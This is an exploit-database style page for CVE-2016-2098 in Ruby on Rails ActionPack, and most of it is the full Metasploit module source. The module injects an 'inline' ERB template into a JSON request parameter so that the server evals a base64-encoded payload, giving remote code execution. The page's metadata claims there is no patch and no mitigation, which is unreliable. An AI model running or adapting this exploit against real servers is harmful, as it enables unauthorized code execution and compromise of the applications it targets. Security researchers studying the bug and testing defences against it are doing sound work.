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vendor:
ActionPack
by:
RageLtMan
7,3
CVSS
HIGH
Remote Code Execution
95
CWE
Product Name: ActionPack
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: NO
Related CWE: CVE-2016-2098
CPE: a:rubyonrails:actionpack
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ruby
2016

Ruby on Rails ActionPack Inline ERB Code Execution

This module exploits a remote code execution vulnerability in the inline request processor of the Ruby on Rails ActionPack component. This vulnerability allows an attacker to process ERB to the inline JSON processor, which is then rendered, permitting full RCE within the runtime, without logging an error condition.

Mitigation:

No known mitigation or remediation for this vulnerability
Source

Exploit-DB raw data:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails ActionPack Inline ERB Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution vulnerability in the
        inline request processor of the Ruby on Rails ActionPack component.
        This vulnerability allows an attacker to process ERB to the inline
        JSON processor, which is then rendered, permitting full RCE within
        the runtime, without logging an error condition.
      },
      'Author'         =>
        [
          'RageLtMan <rageltman[at]sempervictus>'
        ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-2098' ]
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        =>	[ ['Automatic', {} ] ],
      'DisclosureDate' => 'Mar 1 2016',
      'DefaultOptions' => {
        "PrependFork" => true
      },
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
        OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id'])
      ], self.class)

  end

  def json_request
    code = Rex::Text.encode_base64(payload.encoded)
    return {
      datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"}
    }.to_json
  end

  def exploit
    print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}")
    send_request_cgi({
      'uri'     => normalize_uri(target_uri.path),
      'method'  => 'GET',
      'ctype'   => 'application/json',
      'headers' => {
        'Accept' => 'application/json'
      },
      'data'    => json_request
    }, 25)
  end
end